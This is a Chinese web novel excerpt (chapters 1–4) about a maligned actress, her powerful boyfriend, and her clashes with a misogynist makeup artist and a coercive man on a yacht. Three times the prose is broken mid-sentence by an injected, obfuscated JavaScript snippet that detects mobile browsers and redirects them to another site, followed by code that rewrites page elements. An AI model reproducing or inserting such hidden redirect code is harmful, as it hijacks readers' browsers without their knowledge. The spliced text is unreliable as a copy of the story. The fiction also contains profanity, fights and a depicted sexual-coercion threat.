《与我周旋久》 1. 第 1 章 “黎艾能不能别拍电影了,专心当毯星得了。” “出了名的票房毒药了,还敢请她拍电影,这里头没点儿床上交易我不信。” “好电影全被这人霍霍完了,真他妈毒瘤一个。” “……” 电影《越关山》官宣演员阵容后,黎艾看着评论区一水对她人身攻击的言论,面上没什么表情,心里也没什么波澜,不过她并非全然不在乎这些言论,她只是习惯了。 被全网黑了五年,是该习惯了。 助理秦依依看见她的手机界面,叹声劝道:“姐,别看了,干嘛给自己找不痛快。” 黎艾也不知道自己为什么要去看,明明在还没打开评论区之前就知道里面全是骂她的。 五年前第一次看到这些言论的时候,她以为,她能用演技为自己正名。 这五年,她尽了自己最大的努力去磨炼演技,进步很大,但不够,远远不够。 有些差距不是努力可以填补的。 但其实,她的演技一直都不差,完全不输同期的小花,只是因为她资源好,合作的几乎都是老戏骨里和天赋型演员,这才显得她演技平平,可作为一名演员,哪有放着好班底不合作的道理。 关掉手机,黎艾打开车窗,侧过脸去吹风。 路边的风灌进来,带着料峭的冷意,早春还未过去。 五年前,她就是在这样一个早春的时节,遇见了一个人,从此演艺事业风生水起。 随之而来的,还有铺天盖地的谩骂。 - 半小时后,车辆抵达目的地。 今天黎艾只有一个行程,给《越关山》拍定妆照。 因着她背后那人的关系,即便只是拍个定妆照,剧组也不敢有丝毫怠慢,阵仗搞得很大,制片人和出品人都出来迎接她,然而她被一群人拥簇着进到化妆间后,却不见化妆师人影。 “化妆师呢?”张制片语气颇有些不悦。 “车昊老师去卫生间了,马上就回来,”化妆团队的一人忙忙小跑过来解释,并为黎艾拉开化妆镜前的凳子,“黎老师您先坐。” 黎艾点点头,在镜子前坐下。 刚坐下没一分钟,她又站起来。 “我去外面抽根烟。” 她抽烟有个习惯,喜欢在安静的地方抽。 这儿是影视城的一处拍摄点,四处都是亭台楼阁的仿古建筑,化妆间外就是个僻静的院落。 她一个人往外走。 走了没多久,眼见没什么人了,她拿出烟盒,抽出一支烟咬在唇间,准备走到前面拐角处去抽烟。 距离拐角处仅剩两米距离时,她停了下来,前面有人在说话,听声音就在那个拐角。 “昨天我给梁秋雨化妆,一个多小时,她全程拿手捂着她的胸,像生怕被我瞄到一眼,”说话的男人不屑地嗤了一声,“要不想被人看,别穿低胸装啊,真他妈又当又立,而且谁他妈稀罕看她那连条沟都挤不出来的平胸。” “这些演员真的没劲,除了一张脸,要胸没胸,要屁股没屁股。”另一个粗嗓男人说。 “还是有那么几个身材好的,之前我给余湘君化妆,那胸,我艹,给我看爽了,怪不得把简导迷得神魂颠倒的。” 提起圈子里出了名身材好到爆的余湘君,粗嗓男人笑了一声,笑声里透着令黎艾生理性不适的反感。 “简导都五十了,怕是满足不了余湘君吧。” “这还用说?她天天穿那么骚,不就是想勾引男人,估计给简导都戴了几十顶绿帽了。” 听到这儿,黎艾是一秒钟都不想在这儿呆了,多听一个字她都嫌脏。 她转身往回走,没了抽烟的心情。 回到化妆间,她将唇间的烟拿下来,食指微一用力,烟对折成两截,随后将这支被折断的烟丢进垃圾桶。 见她这么快就去而复返,还把烟给丢了,秦依依就问了句:“怎么了姐,咋不抽了?” “不想抽烟,想抽人。” 黎艾冷着脸坐回镜子前。 她这话的声音不小,化妆间里不少人都听见了,众人俱是一惊,脸上多多少少带着点儿恐慌。 圈子里都传,黎艾脾气不好,爱耍大牌,瞧着这架势,传闻不假,个个都怕她把脾气撒在自己身上,赶紧埋头找事做。 秦依依扫了圈周围人的神色,俯身过来低声问黎艾,“姐,谁把你给惹着了?” “等会儿你就知道了。” 虽然只听到了声音,但黎艾知道那两个男人是谁,今天要给她化妆的那个车昊和他的表弟助理。 她不是第一次和车昊的团队合作,算是老熟人了,听声音就知道是谁。 那俩估计也是在那儿抽烟,没一会儿后就回到了化妆间。 车昊并不知道抽烟时说的那些话被黎艾听到了,回来见着黎艾,他还装出一副道貌岸然的样子想和黎艾握手打招呼。 以往不知道他是个烂人,此前合作时,黎艾都和他握了手,现在想起来,她一阵恶心。 看见他伸过来的手,黎艾无视地转向一旁,低头划拉着手机说:“开始吧。” 车昊尴尬地把手收回来,他在娱乐圈也算是有头有脸的大师级人物,获奖无数,换作旁人,他一定当场发作,但跟前的人是黎艾,虽不知道她背后的人到底是谁,他却也不敢在她面前挂脸,只能把气撒在下属身上,怒气腾腾地朝一小姑娘吼道:“还愣着干嘛?还不赶紧去把黎老师服装拿过来!” 《越关山》是古装剧,妆造繁复,费劲穿上一层又一层的戏服后,还需要至少两三个小时来做妆发。 穿好戏服,黎艾坐到镜子前让车昊给她化妆,全程一直玩着手机里的游戏,一个正眼都没给过车昊。 做妆造的两个小时里,不管车昊是夸她皮肤好,还是找别的马屁跟她搭话,她始终没搭理他,中途车昊让她看看妆发是否满意,她也没抬一下眼皮。 等到整个妆造都做好,她才慢悠悠地抬起双眼。 镜子里的人极美,双眉若裁,描画精致,高髻间坠满珠翠,在灯光下折射出一片金玉之光,美艳而不失华贵,很符合她在电影里的角色,她却皱眉道:“你画的这是什么鬼?死人妆吗?” 她从镜子里睨向车昊,“还有这头发,我演的是荣宠一身的贵妃,不是四五十岁的太妃。” “对不起黎老师,”车昊连忙道歉,垂在裤腿旁边的拳头却攥紧了,声音也听得出有些咬牙切齿的味道,“是我对您的角色理解不到位,我马上给您调整妆面。” “重化,”黎艾的目光再次落回手机屏幕,语气轻飘飘的,却不容抗拒,“头发也拆了重盘。” 车昊拳头攥得指头都发白了,面上还是不敢露出半点不悦,“我这就给您重化。” 做古装戏的妆造是项体力活,化妆师全程都需要站立,一站就起码是两个小时,大多时候还得弯着腰给艺人化妆,特别累,尤其碰到黎艾这种咖位的艺人,化妆师不敢怠慢也不敢耽误时间停下来休息,画完一场下来能累个半死。 而黎艾不仅只让车昊重画了一次,直接让他从中午站着给她画到了晚上八点,饭都没让他吃。 车昊当然能看出来黎艾就是故意想整他,他压根儿不明白自己是怎么得罪她了,明明之前合作还挺愉快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631809|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈里都传黎艾背后的金主是几个大型社交媒体平台的大股东,轻而易举就能让一个艺人和一个娱乐公司在娱乐圈消失得彻彻底底,所以没人敢惹黎艾,但车昊实在忍不了了,他从来就没受过这气,本身他也不是好脾气的人,黎艾再一次叫他重化的时候,他终于还是没忍住毛了,“黎艾你他妈什么意思?” 黎艾半抬眸瞥向他,眼底没什么情绪,“你什么意思?” “我是哪儿招你了是吧?你他妈这么搞我!” “干嘛呢!” 本来在外面抽烟的张制片听见动静,烟都没来得及丢就冲了进来。 黎艾看了张制片一眼,把簪子拔下来往化妆台上一扔,“今天不拍了。” 她站起来,朝换衣间走。 看她冷着脸,谁也不敢站出来触她霉头,张制片也是愣了两秒才跟上去,“黎老师……” 黎艾停下来,转头看向他,语气淡淡道:“张制片,我劝你换个妆造团队。” 说完,她继续往前走。 “黎艾,你他妈说清楚!我到底哪儿惹到你了!” 车昊想冲上去,被剧组的人拦住。 黎艾没有再停下来,径直去了换衣间,她当然不会告诉车昊他到底哪儿惹到了她,像他这样从根里就坏掉的人,指出他的错误没有任何意义,他不会打心底觉得自己对女性的不尊重是错误,顶多装模作样的道两声歉,心里指不定骂得有多脏,然后在背地里再更加变本加厉的侮辱她和其他女性。 既然这样,那她就要让他百思不得其解,让他一口气堵在心里一直梗着,这会比直接骂他更让他难受百倍。 “嘭——” 换衣间的门关上。 张制片看着紧闭的房门沉了沉气,转身走到车昊跟前。 “车老师,你也听见了,我想我们只能下次再合作了。” 他这话无异于在车昊的火气上浇了一把油。 车昊头顶都快冒烟了,“张制片!你知道我为了你这部片子推了多少个剧组吗!” “那是你的事,”张制片看向旁边的场务,“送客。” “我艹!” 车昊被气得不轻,被赶出去的路上还一直在骂: “妈的,狗娘养的东西!” “死妈玩意儿!” “网上那些人真没骂错,她就是个贱人!” “车老师,您快别骂了!”助理心惊胆战地劝道。 “滚你个怂逼,怕她个毛。” 说是这样说,车昊其实也怕黎艾,不然也不会忍到这会儿才爆发,但反正已经把人得罪透了,不骂白不骂。 “不过就是个被人包养的贱货,真以为自己是什么大小姐,艹!到底他妈是谁给她惯出来的这脾气!” “我惯的。” 前方倏地传来一道低沉的嗓音。 下一秒,拐角处,一双长腿迈过来。 车昊愣愣看着眼前如同从暗夜里走出的男人—— 一身私人订制的西装,版型一丝不苟,却没有系领带,领口扣子还松了几颗,隐隐可见胸膛极具力量感的块状起伏。 视线向上,是一张令人无法忽视的脸,五官轮廓分明,眉眼深邃锋利,像每一处线条都被上帝精心描摹而成,完美到近乎与现实割裂的英俊。 不知是来自于阶级之间与生俱来的差距,还是男人气质实在过于出众,明明两人之间的距离不过两米,车昊却感觉他们之间像隔着一道无法跨越的天堑,随之一并让他感受到的,是压迫感。 被那样一双漆黑的眼睛看着,他甚至不敢呼吸。 男人居高临下地俯视他,“你有意见?” 2. 第 2 章 “问你,”陈添朝他走过去,“你有意见?” “没……没有。”车昊不自觉结巴了起来。 看他反应,陈添微偏头,“知道我是谁?” “不知道。” 陈添扯了下唇,“那你怕成这样?” 车昊暗暗咽了咽唾沫,没接话,他虽然不知道眼前这人到底是谁,但作为黎艾的金主,即便其实力没有传闻中那么夸张,也一定不是他惹得起的。 “你应该还是知道点儿什么,比如,”陈添唇边荡开一抹笑,“我会弄死你。” 车昊瞳孔骤然一缩,面色发僵。 见他被两句话就吓破了胆,陈添将目光收回。 没意思。 他没再继续停留,迈开长腿径直越过了车昊。 想搞定个化妆师,刚刚他那一句话就够了,会有人去执行,比如此时跟在他身后的秘书叶尧。 今天他来这儿,是来接人的。 车昊在原地愣了两秒后突然转身追上去想说什么,多半是求饶,但叶尧没有给他这个机会,直接一把将他掼到了墙上。 叶尧反钳着他的手警告他:“识相点,滚。” 陈添听到了一些身后的动静,却没回头,他没兴趣知道发生了什么,一手在兜里玩儿着打火机继续往前走,直到步行至距离化妆间还有几米的地方,他才停下脚步。 一道纤细的身影走进了他的视野。 对方同样看到了他。 “你怎么来了?”黎艾先是一惊,而后问他。 “来接你。”陈添往她再走过去两步。 “你怎么知道我还没完事?” “有什么是我不知道的?” 黎艾嗤了声,用下巴指了指叶尧,“他今天偷偷放了几个屁你也知道?” 突然被cue到的叶尧微微睁大眼,还眨了一下,跟刚刚把人往墙上掼时的样子形同两人。 陈添转头过去直接问他,“你今天偷放了几个屁?” “没……今天没放过……屁。”叶尧红着耳朵回答。 得到答案,陈添回头看向黎艾,“现在不就知道了。” 黎艾冲他翻了个白眼,“你真行。” “是行。” 这人也是没谁了。 黎艾笑出声。 “没生气了?”陈添双手插着兜俯身,那张极好看的脸凑到黎艾面前。 黎艾晃了下神。 陈添这张脸她已经日日夜夜地看了五年,但总还是会轻易因他失神。 就凭这张脸,陈添哪怕没有资本家的地位,在娱乐圈也照样是横着走。 见她晃神,陈添伸手捏起她的下巴,“想什么?” 她想了下他刚刚的问题,“我生什么气?” “那个化妆师不是惹着你了?” “他没惹我,我只是今天才发现他是个烂人。” 听她这么说,陈添笑了下。 “你笑什么?” 陈添直起身,“以为你心情差,我还给了带了颗石头。” 说着,他往后伸手,叶尧将一个盒子递到他手上。 他用食指将盒子抵开,露出里面一颗亚历山大石。 亚历山大石被誉为是“白昼里的祖母绿,黑夜里的红宝石”,也被称作变石,不同的光线下会呈现不同的颜色,变色强烈显著的即为高品质宝石,如果变色效应和猫眼效应集于一颗亚历山大石上,价值更是极其高昂,而陈添手里这颗就是猫眼变石。 虽然陈添一向大方,黎艾还是很吃惊。 只是觉得她心情差就送她一颗猫眼变石,任谁都会惊讶,尽管这些年他已经送了她不少珠宝。 “你管这叫石头?”她将盒子接过来。 “这不是石头是什么?” 嗯,是石头,宝石也是石。 “收了我的石头,你不该有什么表示?” 黎艾瞄了眼前面的摄像头,“这儿有监控。” 陈添却说:“怕什么?” 黎艾倒不是怕自己被拍到,谁不知道她有个金主男友,她是听说他们陈家有不能在媒体上高调示人的规矩,但陈添这人行事作风就这样,从来都肆意妄为,毫无顾忌,才不把什么规矩放在眼里。 她笑笑,踮起脚在陈添侧脸轻轻亲了一下。 完事,陈添睁开闭上的眼,“我眼睛都闭上了,你就亲了下我的脸?” 在摄像头下边儿,这儿又是随时有人出入的地方,现在除了他俩还有几个人在,制片和出品人都还跟在她身后,这种场合她亲不下去嘴,“这么多人看着,你还想我跟你来个法式舌吻?” 陈添没那意思,但他偏来一句:“不是不行。” 靠。 黎艾想骂他不要脸,可陈添这人有个癖好,就喜欢她骂他,尤其在床上,她越骂他,他越来劲,所以她一般不骂他,免得把他骂爽了。 她不知道,陈添从小到大干什么都出类拔萃,什么家人、老师、教官没一个人骂过他,其他人又怕他,也就几个玩得好的兄弟会骂骂他,活了二十多年,她是唯一一个骂过他的异性,头一次她骂他的时候他就觉得还挺刺激,后来在床上她骂他,他更觉得带劲,久而久之,就成了癖好。 “想骂我?”陈添扬着唇问她。 黎艾没回答,只瞪他一眼。 陈添沉沉笑两声,而后揽过她的腰,搂着她往外走,“走吧。” “去哪儿?” “今天陈宴京生日。” 陈宴京的生日派对在一艘游轮上,陈添安排了一架直升机飞过去。 抵达游轮停机处,螺旋桨的巨大噪音都盖不住游艇舱内传出的音乐声,绚烂灯光扫过海面与云层,不知道的怕会以为开了个海上酒吧。 陈添带着黎艾往里走。 里头人不少,喝酒的喝酒,蹦迪的蹦迪,玩得很嗨。 一眼扫过去,黎艾在躁动的人群里看见一张沙发,沙发上躺了个人,不知道是在睡还是酒喝多了,一张俊脸在昏暗不清的光线里都好看得过分醒目。 这人她认识,陈祁生,陈添家族里的兄弟,血缘上的亲疏她不清楚,陈家人口太庞大,庞大到需要简化称呼,他们自个儿都很难理清,辈分差距也拉得很大,据陈添说,要是按辈分来叫人,很多老头子都得叫他爷爷。 陈添像是也看到了陈祁生,搂着她穿过人群径直朝陈祁生走过去。 到他跟前,陈添轻踹了他两脚,看他是醉死了还是怎么回事。 陈祁生没喝醉,单纯是在睡觉,陈添这两脚顿时让他醒了过来。 睁眼看到陈添,陈祁生不用想就知道是他把他弄醒的,当即亲切的问候了他母亲,“滚你妈的陈添。” “跑来这儿睡觉,你有病?” “是有病,”陈祁生紧蹙眉心,“我他妈快累吐血了。” 陈添不明白他怎么把自己搞成这样子,“你底下的人都是吃屎的?” 陈祁生懒得跟他解释,只说:“你这种独生子懂个毛。” 他这么说,陈添一下就明白怎么回事儿了,“你家里那几个又找你麻烦了?” 陈祁生“嗯”一声,伸手揉了揉眉心,眉眼间尽是疲惫。 等他揉完眉心睁开眼时,一道光恰好打过来,黎艾清晰地看到他眼底布满的血丝,看起来估计两晚上都没睡过了。 陈祁生与她也算熟识,要不是他,她当初不会那么快和陈添在一起。 刚认识陈添那会儿,她以为陈添是个轻浮公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631810|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,压根没有和他在一起的打算,是陈祁生跟她说,陈添连女人的手都没摸过,她那会儿当然不信,但这事儿竟然是真的。 陈添小时候想当兵,中学和大学都读的是男子军校,毕业后又直接进了部队,压根没接触过几个女人,也没心思搞女人,完全一门心思投身于部队,是退伍后接管家族企业才开始与外界接触,而她遇见陈添时,陈添刚退伍不久。 陈祁生作为陈添生意场上最好的盟友,这些年她与他交集也颇多,看他累成这样,她开口问了他一句:“你至于这么拼?” “至于。”陈祁生回答得很快。 黎艾一直知道他很拼,但不知道他为什么那么拼,她没问过,这会儿也不打算问,不好奇,只说:“你别有命挣钱没命花。” “没命花……”陈祁生不知道想到什么,眼神似乎暗了暗,声音也沉下去一个度,“就算了。” 这下,黎艾开始好奇了,“那你图什么?” “你不知道他图什么?”陈添转头问她。 陈添既然这么问,那他自然清楚陈祁生图的是什么,黎艾遂又把问题抛给他,“什么?” “图,”陈添看向陈祁生,勾了下唇,“一个人。” “谁?!” 黎艾眼睛瞬间亮了,送上门的八卦,有不打听的道理? 这没什么不能说的,陈添直接告诉了她,“他初恋。” 本来,黎艾还以为是哪家的千金大小姐要求太高,所以陈祁生才需要努力搞事业,但既然都谈过恋爱了,想来就不是这么回事儿。 看她表情疑惑,陈添微挑眉,“想不明白?” “不明白。” “你是不是觉得,像我和他这种人,人生都易如反掌?” “不是吗?” 他们这种阶层,虽说没到心想事成的地步,但成功对他们来说,比普通人要容易太多,而且,他们不需要任何一丝的努力就可以活得比普通人精彩一万倍,人生于他们而言,当然算得上易如反掌。 “我是,他不是。”陈添说。 靠,还让他装上了。 黎艾抬手给了他一个中指。 看着眼前竖起的那根中指,陈添掀唇。 她用手势骂他,他也觉得带劲。 表情愉悦地笑了会儿,他再次开口:“因为他不是独生子,也没有支持他做任何决定的爸妈,他爸妈只会在他们希望他做的事情给他支持,至于其他的事,他们不光不支持,还会施加阻碍,剥夺他的自由空间来控制他,他如果想要尽早摆脱控制,就只能拼命往上走,用几年时间超过他们几十年走完的路。” “这可一点儿不容易,”他勾手抬了抬黎艾的下巴,语气玩味,“宝贝。” 听完,黎艾都没心思去搭理陈添最后那一下的逗弄,转头瞪大眼看向陈祁生,“我靠陈祁生,没看出来啊,你还是个情种!” 看她表情,陈祁生淡淡道:“这有什么值得惊讶的吗?” “这还不值得惊讶?” “那看来你不知道,”陈祁生往后仰,“我们陈家从来不缺情种。” 在陈家历史上,像他这样为爱拼命的人实在算不上少见。 因为陈祁生这句话,当晚,黎艾让陈添给她讲了好多他们陈家的爱情故事,果真个个都是大情种。 然而,同为陈家人,黎艾却并没有把给她讲故事的这个人视作情种。 虽她已经和陈添在一起五年,并且,在这五年时间里陈添对她一直很好,但她始终认为,陈添并没有多爱她,可能爱都谈不上,只是有点喜欢,也就是占了个初恋的新鲜感,等再过一两年,玩儿腻了,就会将她弃之如敝履。 是后来,她才发现,陈添的的确确爱着她,很爱。 3. 第 3 章 听陈添讲了好些陈家大情种的爱情故事,黎艾放下手里的酒杯,“我去趟卫生间。” 她从陈添怀里出来,起身离开人群。 来到卫生间门口,她还没进去就听到一些令人脸红耳热的声音,对方显然毫无遮掩之意,真够奔放的。 她不想听着这些声音上厕所,绕道去了二楼。 二楼没什么人,从卫生间出来,黎艾打算抽根烟再回去。 她拿出烟含在唇间,点燃,深吸一口,再吐出,边抽着烟边往外走,准备到外面吹吹风。 抽了两口烟后,她感受到了海风的吹拂,也听到了风声,随着风一并送入她耳蜗的,还有一对男女说话的声音: “我是真没想到还能再碰到你,不枉我天天念着你,一天不艹你,我是真浑身难受。” “江哥,你别这样……我求你了……”女生声音在颤抖,似乎在哭。 “你少他妈装贞洁烈女了,忘了自己以前干什么的?你要不想谭少知道你以前是个做鸡的,就乖乖把腿给老子张开。” 过了两秒,男人的声音里掺了笑,“对,这样才乖。” “艹!”黎艾怒将嘴里的烟扔掉。 三步并一步冲过去,看清人后,她抬腿就给了那男人一脚。 她这一脚力道之大,猝不及防的男人重重摔向一旁,女生也因惊吓尖叫了一声。 黎艾没给那男的反应的时间,过去又连踹了他几脚。 男人被黎艾踹得起不来身,但他也不是个蠢的,没由着她踹,伸手握住了她的脚踝并用力一拽。 黎艾重心失衡,摔在地上。 她反应很快,接触到地面的第一时间就立刻用格斗里经典的十字固将准备爬起来的男人重新锁到了地面,可是男女力量悬殊,她体重又太轻,男人纯靠蛮力将她整个人翻了过来。 形势瞬间扭转。 “江哥!”女生在一旁大喊,想阻止却手足无措地不知道该怎么做。 男人是真被黎艾那几脚给惹毛了,没管她长得有多漂亮,刚将她压到身下便挥出拳头砸向她的脸,还好黎艾是练过的,本能地将这一拳格挡了下来,并顺势将男人的手臂夹到胳膊下使出了又一个格斗中的经典锁技,米尔锁。 米尔锁的伤害性足以在短时间内让男人肩臂在遭受巨大扭压的情况下分离脱位。 “啊——”在一声清脆的骨折声后,男人发出一阵惨叫。 黎艾一口气没歇,站起来又冲着他猛踹几脚,然后反钳住他另一只手,拿膝盖抵住他后背,将他完全锁死在地上。 一番折腾下来,黎艾喘了喘气,转头看向旁边一脸惊容的女生。 “这种人渣的要求你也敢照做,他能威胁你一次,就能威胁你无数次,直到把你玩儿死,”黎艾压着眉,声音冷冽,“懂吗?” 女生含着泪点了点头。 “会介意你过去的男人,有什么好要的?” 对女生说完这句话,她目光越过女生看向她身后不知何时出现在门口的陈添。 “你就看着?” 陈添扬唇,轻笑。 他是在那男的把黎艾压住的时候赶到的,本来他是准备过去帮她,但看她把米尔锁都使出来了,也就没必要再帮了,遂靠在门口看起了戏。 这不是他第一次见她打人,非但不是第一次,有意思的是,他第一次遇见她时,她就在打人。 那时候她还不会格斗技巧,但会拿着高跟鞋朝人猛砸,脾气是真的爆。 想起这事儿,他脑子里浮现出今晚上那化妆师的话: “到底他妈是谁给她惯出来的这脾气?” 当时他说是他惯的,现在想想,从五年前他们刚刚相遇起,她就这脾气。 他笑着朝她走过去,“一个瘦猴子都收拾不了,那我这些年不是白教你了?” 她的格斗技巧都是他教的,他是她的老师,也是她的陪练,从未假以他手。 “所以你就在旁边看戏?看得爽吗?” “爽啊。” 看他笑得一脸爽样,黎艾简直火冒三丈,刚刚她要没挡住那一拳,恐怕都毁容了! 她从那男的身上站起来,愤愤朝陈添走过去,抬腿准备狠狠踩他一脚,谁知道竟然踩了个空,这人反应是真的快。 “你这暴脾气,”陈添微偏了下头,脸上挂着谑色的笑,“天生的?” “不是。” “那怎么来的?” 黎艾没有立马回答,眼神暗了暗,沉默片刻,她将头转到一旁,“一个没脾气的人会被欺负。” 刚刚还一脸散漫玩味的陈添神色一顿,浓眉下压,“谁欺负你了?” “都是以前的事了,我去洗手。” 她似乎不愿提起这件事,说完便抬步离开。 陈添没有跟上去,侧头看着她单薄的背影逐渐走出视线。 此时他脸上已看不到一丝谑色,过了会儿,他拿出手机,拨通叶尧的电话。 “添爷。” 在陈家集团内部,大多数人不会以姓氏称呼对方,因为哪怕是一个子公司,陈姓高层也非常多,都叫陈总压根分不清,也不知道是谁带的头,还是不约而同,大多数人都用对方姓名里最后一个字称呼对方,陈添在陈家辈分很高,年纪比他大很多的人都会唤他一声添哥,关系比较好的也叫添哥,其他人则多唤他添爷。 “去查,黎艾念书的时候,有什么人欺负过她。” “收到。” 挂断电话,他又给陈宴京打了过去,“二楼甲板,过来。” 陈宴京很快赶到。 “怎么了哥?” 陈添用下巴指了指前面那男的,“他打你嫂子,你派对上的人,你看着办。” “什么?!”陈宴京难以置信。 他转头看向那男的,不认识,估计是跟别人一块儿来的。 “你喝多了?”他问那男的。 在青港,没几个人敢在他陈宴京的派对上惹事,更别说还是他的生日派对,闹出这档子事,这人不是喝多了就是脑子被撞了。 男人估计也意识到了事情的严重性,吓得不敢说话,捂着手把头低着。 “手怎么了?”陈宴京走到男人面前,“断了?” 他知道陈添教了黎艾五年格斗,弄断这人一只手肯定是不在话下。 “放心,我会送你去医院,”他语气温和,像非但不打算跟他算这笔账,还要为他撑腰,不过他话没说完,还有一句,“往死里治。” 男人顿时一惊,胳膊上汗毛都瞬间立了起来。 看他反应,陈宴京唇角一掀,“开玩笑的。” “走吧,带你去医院。”他伸手握住男人伤到的那只手,明显故意的。 在他施加的力道之下,男人疼得脸都白了,却愣是一声不敢吭。 拉着人走到陈添跟前,陈宴京问他,“嫂子呢?” “先走了。” “嫂子估计心情不太好吧,你不去哄哄?” “去。” “赶紧去吧,我一定好好给嫂子出气。” 陈添“嗯”一声,转身进船舱去找黎艾。 下楼,到一层船舱,在灯光闪烁的昏暗处,他看到黎艾正一杯接一杯地喝着酒。 看着岂止是心情不好。 陈添坐到她身边,伸手拿过她手里的酒杯。 “你干嘛?” “你在生我气?” “没有。” 她转身去拿他的杯子,往里倒酒,接着喝。 陈添也慢条斯理地将手里这杯酒喝下去,期间目光一直落在她脸上,打量着。 酒液尽数进入口中,他将杯子搁回桌面,伸手捏住黎艾的脸,虎口抵着她尖尖的下巴,让她转头看着他,“要没生我气,那你这是哪儿来的气?” 哪儿来的气……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631811|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎艾自己也说不清。 她垂下长而浓密的睫毛。 想想,似乎每次回忆起以前在学校被霸凌的事她都会心情很差,明明已经是过去很久的事。她从来没去想过为什么,现在陈添这么一问,她才开始琢磨,到底为什么。 刚上高中那会儿,她本来成绩很好,可后来被一群人莫名其妙盯上,往她作业本上泼墨水,烧掉她的书包,在她书桌里放死耗子,关她进黑屋……还经常打她。 霸凌者家庭背景强大,学校纵容,她那个只知道打牌的妈也不管,那段时间,她差点抑郁,成绩直线下滑。 因为外貌条件好,老师建议她转去艺体班,学表演,她去了。 转到艺体班后,那群人继续对她实施着霸凌,还总是叫她“大明星”来嘲讽她。 这样的情况持续到高三上学期,她再也无法忍受,不再忍气吞声,开始反击。 她们打她,她要么操家伙,要么逮着一个往死里咬,一次差点咬掉为首那人胳膊上的一块肉,此后,那些人不敢再轻易招惹她,但每每碰到她,还是会阴阳怪气地叫她“大明星”。 原本,她转去学表演只是因为成绩太差又没有其他特长,她并不想当什么大明星,她很清楚,自己没有演技天赋,又没有后台,就凭一张脸还妄想当大明星,只会被那吃人的娱乐圈啃得渣都不剩,那会儿她只想着当个小演员混口饭吃,那些人也知道只凭一张脸在娱乐圈走不远,所以才叫她“大明星”来嘲讽她,但在那群人一声又一声的刺激下,她心里开始冒出一个声音: 你们越是觉得我当不了,我越是要当给你们看看。 她是幸运的,在进入娱乐圈后遇见了陈添,真的成为了超一线的大明星。 只是,陈添能用他钱把她捧到超一线,却没法用钱控制人心,他把她捧得越高,网友对她的骂声越高。 她不是那种心脏强大到可以不在乎所有外界声音的人,所以,即便如今她拥有了很多普通人无法企及的东西,她还是活得不开心。 如果她真的热爱表演,被骂骂也没什么,终归是在做自己喜欢的事,然而,她并不热爱表演,一直都不热爱。 一开始,她认真学表演,是为了有资格能当上那些人霸凌她的人口中的大明星,后来拼命打磨演技又是为了向骂她的网友证明,从来都不是因为热爱。 想到这些,她恍然,她竟一直在为那些她厌恶的人做着自己并不喜欢的事。 过去的选择无法被更改,但她忍不住去想,如果她早一点想明白,她现在会在做什么? 大概,她会有一家自己的小店。 在刚踏入娱乐圈的时候,她有个合租室友,林昔。 林昔和曾经的她很像,没演技天赋没背景也没野心,但因为长得实在漂亮,演演戏养活自己完全不成问题,还能存下一些钱用来开个小店。 林昔开了一家啤酒屋,但也卖奶茶咖啡这些饮品。 她很喜欢自己做饮料和鸡尾酒,店里除了啤酒,都是她自己和合伙人亲手制作。 作为她的室友,黎艾当时被她带得也爱上了调酒这件事,两个人以前经常在出租屋里一起喝着她们自个儿调的鸡尾酒享受微醺时刻。 到现在,她依旧经常自己调酒喝。 如果不是执意想成为真正的大明星,当初林昔邀请她一起开店时,她一定不会拒绝,那样,她现在会过着自己喜欢的,很自由的生活。 “说话。”陈添晃了晃她的脸。 “气……”想了想,黎艾回答,“气我自己。” 陈添不解地偏了下头。 黎艾掀起漂亮的长睫,抬眸看向他,“陈添,我不太想当明星了,有点想退圈。” “想退就退,”陈添没问她为什么突然有了这个想法,而是不假思索地说,“我养你。” 黎艾笑了下,“你能养我一辈子?” “嗯,我娶你。” 4. 第 4 章 “我娶你。” 黎艾愣住。 愣了很久。 他……竟然想娶她? 相恋五年,她从来没想过陈添会娶她,此时蓦地听到这句话,她心里有震惊,有疑惑,还有……难以言说的欣喜。 面对陈添这样的人,很难不动心,那份欣喜来源于感性,而非理性。 在她的理性里,并没有嫁给他这一选项。 对于大多数娱乐圈的女明星来说,嫁入豪门是最好的选择,但她从未有过这个想法,因为不想生孩子。 世事无常,她无法保障自己和孩子能平安顺遂的生活,更无法确定孩子长大后是否会和她当初一样,希望自己不要被生下来,既然如此,那就不要生。 而陈添,很喜欢孩子。 在很多人眼里,陈添是个很可怕的人,不管他是冷着脸,还是笑着。 他总是会笑着说出令人不寒而栗的话,笑着将你打入万劫不复之地,但在很多孩子眼里,他是个很温柔的大哥哥。 “不信?”陈添看她表情怔怔,以为她是不信。 黎艾没回答,只轻眨了下眼。 陈添也没再说什么,唇角勾起一抹不知意味的笑。 这时,不远处传来一道脆生生的声音,“添哥哥。” 